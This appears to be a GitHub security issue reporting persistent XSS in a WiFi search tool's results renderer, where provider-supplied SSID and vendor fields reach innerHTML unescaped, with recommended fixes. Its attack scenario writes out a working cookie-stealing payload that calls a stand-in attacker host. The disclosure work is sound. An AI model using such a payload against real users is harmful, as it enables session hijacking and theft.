Skip to content

Search results renderer injects unsanitized provider SSID and vendor fields into innerHTML, enabling persistent XSS #18

@tg12

Description

@tg12

Summary

The search results renderer in templates/wifi-search.html injects provider-supplied network identity fields directly into innerHTML via unescaped template literals. Fields including node.ssid, node.vendor, node.bssid, and node.type originate from WiGLE, OpenCellID, and Shodan API responses and are never sanitized before insertion into the DOM. An attacker who controls a wireless network SSID, or who can influence provider data, can execute arbitrary JavaScript in the browser of any WireTapper user who searches near that network.

Evidence

templates/wifi-search.html (approximately line 1762):

item.innerHTML = `
    <div class="node-header">
        <span class="node-name">${node.ssid || node.ip || 'Unknown'}</span>
        ...
        <span class="node-type"...>${node.type || 'node'}</span>
    </div>
    <div class="node-meta">
        ${node.vendor ? `VENDOR: ${node.vendor}` : `ID: ${node.bssid || node.ip || 'ANONYMOUS'}`}<br>
        ...
    </div>
`;

node.ssid, node.vendor, node.type, and node.bssid come from the /searchzz route, which proxies directly to WiGLE and OpenCellID without sanitizing or encoding provider field values before returning them to the client.

This is distinct from issue #13 (popup/sidebar setHTML sinks) and issue #16 (chat renderer innerHTML): it affects the main search results list and is triggered by passive search operations, not user-generated chat content.

Why this matters

WiFi SSIDs are set by network owners and contain arbitrary strings. WiGLE and similar databases aggregate SSIDs from wardriving submissions and have historically contained XSS payloads planted deliberately to target tools that render results unsanitized. A malicious SSID in WiGLE's database is a persistent, passively triggered XSS payload that affects every user who searches near that location.

Attack or failure scenario

An attacker registers a WiFi network with SSID <img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)"> and submits it to WiGLE. When any WireTapper user searches a location near that network, the SSID is returned by the WiGLE proxy and injected into item.innerHTML. The onerror handler executes, exfiltrating the user's session cookies or performing actions on their behalf within the WireTapper origin.

Root cause

Template literal interpolation into innerHTML treats all values as trusted HTML. No output encoding or DOM-safe rendering method (e.g. textContent, createElement, DOMPurify.sanitize) is used for provider-sourced strings.

Recommended fix

  1. Replace item.innerHTML = \...`with DOM construction usingcreateElementandtextContent` for all provider-sourced fields.
  2. Where HTML rendering is genuinely needed, sanitize with a library such as DOMPurify before assignment.
  3. Apply the same fix to document.getElementById('results-list').innerHTML and all other result-rendering innerHTML writes.
  4. Add a Content Security Policy header that blocks inline script execution as a defence-in-depth layer.

Acceptance criteria

Suggested labels

security, bug

Priority

P0

Severity

Critical — persistent XSS via provider-controlled data injected into the main search results surface; no user interaction beyond a normal search is required.

Confidence

Confirmed — template literal construction directly visible in the committed template; SSID injection vector is documented in public WiGLE security research.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions